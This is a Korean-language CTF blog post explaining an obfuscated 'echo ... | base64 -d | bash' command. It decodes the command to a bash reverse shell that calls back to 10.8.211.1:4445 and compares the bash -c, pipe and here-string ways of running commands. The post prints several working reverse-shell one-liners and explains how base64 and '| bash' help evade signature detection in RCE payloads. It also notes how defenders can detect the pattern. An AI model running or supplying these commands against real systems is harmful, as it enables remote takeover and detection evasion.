base64 -d | bash

agnusdei·2025년 8월 4일

CTF

목록 보기
57/185
post-thumbnail

🔍 원본 명령 분석

echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjguMjExLjEvNDQ0NSAwPiYx | base64 -d | bash

단계별로 해석해볼게요:


✅ 1. base64 디코딩

우선 L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjguMjExLjEvNDQ0NSAwPiYx
이건 base64로 인코딩된 문자열입니다.

디코딩해 보면:

/bin/bash -i >& /dev/tcp/10.8.211.1/4445 0>&1

✅ 2. 전체 명령 설명

/bin/bash -i >& /dev/tcp/10.8.211.1/4445 0>&1

이건 bash 리버스 쉘 명령어입니다.

구성설명
/bin/bash -i인터랙티브 쉘 실행
>& /dev/tcp/10.8.211.1/4445stdoutstderr를 TCP 연결로 보냄
0>&1stdin을 TCP 연결에서 입력 받음

즉, 이 시스템에서 10.8.211.1:4445로 리버스 쉘 연결을 시도한다는 의미입니다.


✅ 3. 전체적으로 보면?

echo [리버스 쉘을 base64로 인코딩한 문자열] | base64 -d | bash

는 다음과 같은 효과를 가짐:

  • 우회 목적: 직접 리버스 쉘 명령어를 입력하지 않고 base64로 감춰서 전달 (우회/탐지 회피)
  • 실행: 디코딩한 내용을 bash에 전달해서 즉시 실행

⚠️ 보안 관점 요약

  • 공격자 입장: 탐지를 우회하면서 리버스 쉘을 얻는 방법
  • 방어자 입장: echo | base64 -d | bash 패턴은 위험 징후로 간주해야 하며, EDR 및 로그 기반 탐지 가능
  • 시스템이 연결 시도함: 포트 4445에서 리스닝 중인 공격자가 쉘을 획득하게 됨

🔐 어린이 설명 버전

이건 컴퓨터에게 "조용히 저쪽 IP에 연결해서 몰래 말 잘 듣는 터미널 열어줘"라고 시키는 비밀 메시지야. 컴퓨터는 그 메시지를 풀어서(디코딩해서) 바로 실행하게 돼.



🔍 bash -c vs bash <<< vs bash |

✅ 일반적으로 명령어 넘길 때:

bash -c 'sh -i >& /dev/tcp/10.8.211.1/4445 0>&1'

혹은

bash -c "{ sh -i >& /dev/tcp/10.8.211.1/4445 0>&1; }"
  • bash -c는 명령어를 인자(argument) 로 받아서 실행
  • 중괄호 {}는 여러 명령어를 하나로 묶을 때 사용 (선택사항)
  • 이 방식은 보통 직접 명령어를 넘길 때 사용

🤔 그럼 | bash는 언제 쓰냐?

echo 'sh -i >& /dev/tcp/10.8.211.1/4445 0>&1' | bash

이건 파이프를 통해 명령어를 표준 입력(stdin) 으로 전달하고,
bash가 이걸 읽어서 실행하는 방식입니다.

즉, bash는 아무 인자 없이 실행되면, stdin에서 명령어 읽어서 수행함.


🧪 비교 요약

방식설명
bash -c '명령어'명령어를 인자로 넘김. 명시적, 보안 우회 시 유용
`echo '명령어'bash`명령어를 stdin으로 넘김. base64 디코딩 결과를 직접 실행할 때 많이 씀
bash <<< "명령어"Here-string으로 명령어 한 줄 넘김 (입력 리다이렉션)
{ 명령어; }명령 블럭 (복수 명령어 묶음, 조건문 등에 사용)

💥 왜 | bash가 많이 쓰일까?

  • 우회 목적: base64로 감싼 리버스 쉘을 bash -c로 넘기면 시그니처 탐지되기 쉬움 → | bash로 흐름을 바꿔 탐지 우회
  • 단순화: echo ... | base64 -d | bash는 단 한 줄로 인젝션 가능
  • RCE 시나리오: 웹쉘, LFI+php\://filter, 명령 주입 등에서 한 줄 페이로드로 전송할 수 있어서 유리

✅ 결론

  • 네, {}는 명령 블럭을 묶을 때 사용하고
  • bash -c는 명령을 문자열 인자로 넘길 때 사용하는 게 일반적입니다.
  • 하지만 | bash는 표준입력 기반 실행으로, 우회 및 RCE 상황에서 매우 자주 쓰이는 기법입니다.
profile
DevSecOps, Pentest, Cloud(OpenStack), Develop, Data Engineering, AI-Agent

0개의 댓글